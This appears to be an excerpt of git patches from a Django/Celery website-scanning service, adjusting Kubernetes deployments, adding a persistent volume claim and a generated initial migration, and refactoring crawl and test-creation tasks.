-    spec:
-      restartPolicy: Always
-      containers:
-        - image: rabbitmq:alpine
-          name: rabbitmq
-          ports:
-            - containerPort: 5672
-          resources: 
-            limits:
-              cpu: "250m"
-              memory: "250Mi"
-            requests:
-              cpu: "100m"
-              memory: "100Mi"
-status: {}
-
-
-
----
-
-apiVersion: v1
-kind: Service
-metadata:  
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  ports:
-    - name: "5672"
-      port: 5672
-      targetPort: 5672
-  selector:
-    service: rabbitmq
-

From d0274d17ceec9478e2a84c3144d80f3ee3a7a98f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 18:31:36 -0500
Subject: [PATCH 0053/1099] testing new volume addition

---
 app/api/models.py               |  1 +
 app/api/tasks.py                | 86 +++++++++++++++++----------------
 k8s/prod/app-deployment.yaml    | 26 +++++-----
 k8s/prod/app-pvc.yaml           | 10 ++++
 k8s/prod/celery-deployment.yaml |  6 +--
 5 files changed, 71 insertions(+), 58 deletions(-)
 create mode 100644 k8s/prod/app-pvc.yaml

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..939965e7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,6 +335,7 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 68827ee3..aa20e158 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -50,27 +50,28 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
         # add new page
-        page = Page.objects.create(
-            site=site,
-            page_url=url,
-            user=site.user,
-            account=site.account,
-        )
-        # create initial scan
-        scan = Scan.objects.create(
-            site=site,
-            page=page, 
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-            configs=configs
-        )
-        # run each scan component in parallel
-        run_html_and_logs_bg.delay(scan_id=scan.id)
-        run_lighthouse_bg.delay(scan_id=scan.id)
-        run_yellowlab_bg.delay(scan_id=scan.id)
-        run_vrt_bg.delay(scan_id=scan.id)
-        page.info["latest_scan"]["id"] = str(scan.id)
-        page.info["latest_scan"]["time_created"] = str(scan.time_created)
-        page.save()
+        if not Page.objects.filter(site=site, page_url=url).exists():
+            page = Page.objects.create(
+                site=site,
+                page_url=url,
+                user=site.user,
+                account=site.account,
+            )
+            # create initial scan
+            scan = Scan.objects.create(
+                site=site,
+                page=page, 
+                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                configs=configs
+            )
+            # run each scan component in parallel
+            run_html_and_logs_bg.delay(scan_id=scan.id)
+            run_lighthouse_bg.delay(scan_id=scan.id)
+            run_yellowlab_bg.delay(scan_id=scan.id)
+            run_vrt_bg.delay(scan_id=scan.id)
+            page.info["latest_scan"]["id"] = str(scan.id)
+            page.info["latest_scan"]["time_created"] = str(scan.time_created)
+            page.save()
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
@@ -102,27 +103,28 @@ def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
         
     for url in add_pages:
         # add new page
-        page = Page.objects.create(
-            site=site,
-            page_url=url,
-            user=site.user,
-            account=site.account,
-        )
-        # create initial scan
-        scan = Scan.objects.create(
-            site=site,
-            page=page, 
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-            configs=configs
-        )
-        # run each scan component in parallel
-        run_html_and_logs_bg.delay(scan_id=scan.id)
-        run_lighthouse_bg.delay(scan_id=scan.id)
-        run_yellowlab_bg.delay(scan_id=scan.id)
-        run_vrt_bg.delay(scan_id=scan.id)
-        page.info["latest_scan"]["id"] = str(scan.id)
-        page.info["latest_scan"]["time_created"] = str(scan.time_created)
-        page.save()
+        if not Page.objects.filter(site=site, page_url=url).exists():
+            page = Page.objects.create(
+                site=site,
+                page_url=url,
+                user=site.user,
+                account=site.account,
+            )
+            # create initial scan
+            scan = Scan.objects.create(
+                site=site,
+                page=page, 
+                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                configs=configs
+            )
+            # run each scan component in parallel
+            run_html_and_logs_bg.delay(scan_id=scan.id)
+            run_lighthouse_bg.delay(scan_id=scan.id)
+            run_yellowlab_bg.delay(scan_id=scan.id)
+            run_vrt_bg.delay(scan_id=scan.id)
+            page.info["latest_scan"]["id"] = str(scan.id)
+            page.info["latest_scan"]["time_created"] = str(scan.time_created)
+            page.save()
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index a0c1b583..ced1ab85 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -5,7 +5,7 @@ metadata:
   labels:
     deployment: app
 spec:
-  replicas: 1
+  replicas: 2
   selector:
     matchLabels:
       app: app-deployment
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:eead9ec 
+          image: landonr/scanerr-server:25a7e15 # <IMAGE> # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -38,18 +38,18 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "6"
-              memory: "6Gi"
+              cpu: "2"
+              memory: "4Gi"
             requests:
-              cpu: "500m"
-              memory: "500Mi"
-      #     volumeMounts:
-      #      - mountPath: "/app/api/migrations"
-      #        name: my-app-volume
-      # volumes:
-      #   - name: my-app-volume
-      #     persistentVolumeClaim:
-      #      claimName: app-pvc
+              cpu: "1"
+              memory: "1Gi"
+          volumeMounts:
+           - mountPath: "/app/api/migrations"
+             name: app-volume
+      volumes:
+        - name: app-volume
+          persistentVolumeClaim:
+           claimName: app-pvc
 
 ---
 
diff --git a/k8s/prod/app-pvc.yaml b/k8s/prod/app-pvc.yaml
new file mode 100644
index 00000000..baa2b84c
--- /dev/null
+++ b/k8s/prod/app-pvc.yaml
@@ -0,0 +1,10 @@
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-pvc
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 2Gi
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 095cac37..6115293e 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # landonr/scanerr-server:25a7e15 #
+          image: <IMAGE> # landonr/scanerr-server:25a7e15 # 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -29,6 +29,6 @@ spec:
               cpu: "2"
               memory: "4Gi"
             requests:
-              cpu: "500m"
-              memory: "500Mi"
+              cpu: "1"
+              memory: "1Gi"
 

From 252f3e1fd38b5cc144e596252a02cb15ec396aaa Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 18:34:56 -0500
Subject: [PATCH 0054/1099] added app-pvc

---
 k8s/kubernetes-notes.md | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 6a79b203..c53aa1fa 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,8 +109,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`

From d5ccd8ca49b6a22ecc5e8a7d524b21810c9735a2 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 18:44:57 -0500
Subject: [PATCH 0055/1099] testing model chenges

---
 app/api/models.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 939965e7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,7 +335,6 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
-    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'

From 91e096b8da205d1268e735fcb24040db80cf4d42 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 19:10:31 -0500
Subject: [PATCH 0056/1099] back to old model

---
 k8s/prod/app-deployment.yaml    | 3 ++-
 k8s/prod/celery-deployment.yaml | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index ced1ab85..821ced0c 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: landonr/scanerr-server:25a7e15 # <IMAGE> # 
+          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -26,6 +26,7 @@ spec:
           args: 
             - > 
                 python3 manage.py wait_for_db &&
+                python manage.py showmigrations &&
                 python3 manage.py makemigrations --no-input &&
                 python3 manage.py migrate --no-input &&
                 python3 manage.py collectstatic --no-input &&
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 6115293e..c70b72eb 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:25a7e15 # 
+          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:

From 6649757b6fecae9b23333d779369232da9f16244 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 19:27:34 -0500
Subject: [PATCH 0057/1099] moving test_task

---
 app/api/tasks.py | 47 ++++++++++++++++++++++++++++++++++++-----------
 1 file changed, 36 insertions(+), 11 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index aa20e158..85b46e47 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -243,17 +243,42 @@ def _create_test(
         *args, 
         **kwargs,
     ):
-    create_test_task(
-        test_id,
-        page_id, 
-        automation_id, 
-        configs, 
-        type,
-        index,
-        pre_scan,
-        post_scan,
-        tags
-    )
+    if test_id is not None:
+        created_test = Test.objects.get(id=test_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+        created_test = Test.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            tags=tags,
+        )
+
+    if pre_scan is not None:
+        pre_scan = Scan.objects.get(id=pre_scan)
+    if post_scan is not None:
+        post_scan = Scan.objects.get(id=post_scan)
+
+    if post_scan is None and pre_scan is not None:
+        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
+        
+    if pre_scan is None and post_scan is None:
+        new_scan = S(site=page.site, page=page, configs=configs, type=type)
+        post_scan = new_scan.second_scan()
+        pre_scan = post_scan.paired_scan
+
+    # updating parired scans
+    pre_scan.paired_scan = post_scan
+    post_scan.paried_scan = pre_scan
+    pre_scan.save()
+    post_scan.save()
+
+    # updating test object
+    created_test.type = type
+    created_test.pre_scan = pre_scan
+    created_test.post_scan = post_scan
+    created_test.save()
     logger.info('Created new test of page')
 
 

From 83f08424d96f53d37460730b043d4e6952cfc87d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 19:27:41 -0500
Subject: [PATCH 0058/1099] testing migrations

---
 app/api/models.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..939965e7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,6 +335,7 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'

From af21d97c7a8eb9173c4e35bed368cec33cb18626 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 20:56:48 -0500
Subject: [PATCH 0059/1099] testing new migration method

---
 .gitignore                         |   3 +-
 app/api/migrations/0001_initial.py | 267 +++++++++++++++++++++++++++++
 app/api/models.py                  |   1 -
 commands                           |   8 +
 docker-compose.stage.yml           |  50 ++++++
 k8s/kubernetes-notes.md            |   2 +-
 k8s/prod/app-deployment.yaml       |  14 +-
 7 files changed, 335 insertions(+), 10 deletions(-)
 create mode 100644 app/api/migrations/0001_initial.py
 create mode 100644 docker-compose.stage.yml

diff --git a/.gitignore b/.gitignore
index 8d7a5fee..cfb4932a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -14,5 +14,6 @@ env/.env.dev
 env/.env.prod
 env/.env.prod.db
 app/static*
-app/api/migrations/*_*.py
+# app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
+env/.env.stage
diff --git a/app/api/migrations/0001_initial.py b/app/api/migrations/0001_initial.py
new file mode 100644
index 00000000..aa1ee92a
--- /dev/null
+++ b/app/api/migrations/0001_initial.py
@@ -0,0 +1,267 @@
+# Generated by Django 3.2.3 on 2023-07-27 01:50
+
+import api.models
+import datetime
+from django.conf import settings
+from django.db import migrations, models
+import django.db.models.deletion
+import django.utils.timezone
+import uuid
+
+
+class Migration(migrations.Migration):
+
+    initial = True
+
+    dependencies = [
+        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
+    ]
+
+    operations = [
+        migrations.CreateModel(
+            name='Account',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('active', models.BooleanField(default=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('type', models.CharField(blank=True, default='free', max_length=1000, null=True)),
+                ('code', models.CharField(blank=True, max_length=1000, null=True)),
+                ('max_sites', models.IntegerField(blank=True, default=1, null=True)),
+                ('max_pages', models.IntegerField(blank=True, default=25, null=True)),
+                ('cust_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('sub_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('product_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('price_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('price_amount', models.IntegerField(blank=True, default=0, null=True)),
+                ('slack', models.JSONField(blank=True, default=api.models.get_slack_default, null=True)),
+                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Automation',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('expressions', models.JSONField(blank=True, default=api.models.get_expressions_default, null=True)),
+                ('actions', models.JSONField(blank=True, default=api.models.get_actions_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Case',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('steps', models.JSONField(blank=True, default=api.models.get_steps_default, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Mask',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('active', models.BooleanField(default=True)),
+                ('mask_id', models.CharField(blank=True, max_length=1000, null=True)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Page',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('page_url', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('info', models.JSONField(blank=True, default=api.models.get_info_default, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Scan',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('type', models.JSONField(blank=True, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('html', models.TextField(blank=True, null=True)),
+                ('logs', models.JSONField(blank=True, null=True)),
+                ('images', models.JSONField(blank=True, null=True)),
+                ('lighthouse', models.JSONField(blank=True, default=api.models.get_lh_default, null=True)),
+                ('yellowlab', models.JSONField(blank=True, default=api.models.get_yl_default, null=True)),
+                ('configs', models.JSONField(blank=True, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('paired_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='api.scan')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Site',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('site_url', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_crawl_started', models.DateTimeField(blank=True, null=True)),
+                ('time_crawl_completed', models.DateTimeField(blank=True, null=True)),
+                ('info', models.JSONField(blank=True, default=api.models.get_small_info_default, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Testcase',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('case_name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('passed', models.BooleanField(default=False)),
+                ('steps', models.JSONField(blank=True, null=True)),
+                ('configs', models.JSONField(blank=True, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('case', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.case')),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Test',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('type', models.JSONField(blank=True, null=True)),
+                ('score', models.FloatField(blank=True, null=True)),
+                ('component_scores', models.JSONField(blank=True, default=api.models.get_scores_default, null=True)),
+                ('html_delta', models.JSONField(blank=True, null=True)),
+                ('logs_delta', models.JSONField(blank=True, null=True)),
+                ('lighthouse_delta', models.JSONField(blank=True, default=api.models.get_lh_delta_default, null=True)),
+                ('yellowlab_delta', models.JSONField(blank=True, default=api.models.get_yl_delta_default, null=True)),
+                ('images_delta', models.JSONField(blank=True, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('pre_scan_configs', models.JSONField(blank=True, null=True)),
+                ('post_scan_configs', models.JSONField(blank=True, null=True)),
+                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('post_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='post_scan', to='api.scan')),
+                ('pre_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='pre_scan', to='api.scan')),
+                ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Schedule',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(blank=True, default=datetime.datetime.now, null=True)),
+                ('task_type', models.CharField(default='test', max_length=100)),
+                ('timezone', models.CharField(blank=True, max_length=100, null=True)),
+                ('begin_date', models.DateTimeField(default=datetime.datetime.now)),
+                ('time', models.CharField(blank=True, max_length=100, null=True)),
+                ('frequency', models.CharField(default='monthly', max_length=100)),
+                ('task', models.CharField(blank=True, max_length=500, null=True)),
+                ('crontab_id', models.CharField(blank=True, max_length=500, null=True)),
+                ('periodic_task_id', models.CharField(blank=True, max_length=500, null=True)),
+                ('status', models.CharField(blank=True, default='Active', max_length=100, null=True)),
+                ('extras', models.JSONField(blank=True, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('automation', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assoc_auto', to='api.automation')),
+                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.AddField(
+            model_name='scan',
+            name='site',
+            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
+        ),
+        migrations.CreateModel(
+            name='Report',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('path', models.CharField(blank=True, max_length=1000, null=True)),
+                ('type', models.JSONField(blank=True, null=True)),
+                ('info', models.JSONField(blank=True, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Process',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('type', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('successful', models.BooleanField(default=False)),
+                ('info_url', models.CharField(blank=True, max_length=1000, null=True)),
+                ('progress', models.FloatField(blank=True, null=True)),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+            ],
+        ),
+        migrations.AddField(
+            model_name='page',
+            name='site',
+            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
+        ),
+        migrations.AddField(
+            model_name='page',
+            name='user',
+            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
+        ),
+        migrations.CreateModel(
+            name='Member',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('email', models.CharField(blank=True, max_length=1000, null=True)),
+                ('status', models.CharField(blank=True, max_length=1000, null=True)),
+                ('type', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Log',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('path', models.CharField(blank=True, max_length=1000, null=True)),
+                ('request_type', models.CharField(blank=True, max_length=1000, null=True)),
+                ('status', models.CharField(blank=True, max_length=1000, null=True)),
+                ('request_payload', models.JSONField(blank=True, null=True)),
+                ('response_payload', models.JSONField(blank=True, null=True)),
+                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Card',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('pay_method_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('brand', models.CharField(blank=True, max_length=1000, null=True)),
+                ('exp_month', models.CharField(blank=True, max_length=1000, null=True)),
+                ('exp_year', models.CharField(blank=True, max_length=1000, null=True)),
+                ('last_four', models.CharField(blank=True, max_length=1000, null=True)),
+                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.AddField(
+            model_name='automation',
+            name='schedule',
+            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='assoc_sch', to='api.schedule'),
+        ),
+        migrations.AddField(
+            model_name='automation',
+            name='user',
+            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
+        ),
+    ]
diff --git a/app/api/models.py b/app/api/models.py
index 939965e7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,7 +335,6 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
-    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'
diff --git a/commands b/commands
index a6764d18..0c83bd99 100644
--- a/commands
+++ b/commands
@@ -20,3 +20,11 @@ docker compose -f docker-compose.dev.yml up -d --build
 ### spins down the container ###
 docker compose -f docker-compose.dev.yml down
 
+
+
+### spins up the container for staging migrations ###
+docker compose -f docker-compose.stage.yml up -d --build
+
+### spins down the container ###
+docker compose -f docker-compose.stage.yml down
+
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
new file mode 100644
index 00000000..5bd3db6a
--- /dev/null
+++ b/docker-compose.stage.yml
@@ -0,0 +1,50 @@
+version: '3'
+services:
+  
+  app:
+    privileged: true
+    init: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    # image: landonr/scanerr-server
+    ports:
+      - "8000:8000"
